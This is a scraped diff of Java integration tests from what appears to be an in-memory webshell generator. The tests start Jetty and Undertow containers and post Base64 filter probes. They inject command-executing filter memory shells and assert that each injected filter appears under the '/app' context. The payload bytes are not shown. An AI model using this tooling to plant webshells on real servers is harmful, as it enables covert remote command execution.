||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+33
@@ -2,11 +2,18 @@ package com.reajason.javaweb.integration.probe.jetty;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -34,6 +45,11 @@ public class Jetty10ContainerTest {
|
|||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
public static void tearDown() {
|
||||||
|
log.info(container.getLogs());
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void testJDK() {
|
void testJDK() {
|
||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
@@ -69,4 +85,21 @@ public class Jetty10ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,14 @@ package com.reajason.javaweb.integration.probe.jetty;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
@@ -16,9 +22,14 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
|
import static org.hamcrest.CoreMatchers.startsWith;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -75,4 +86,21 @@ public class Jetty11ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user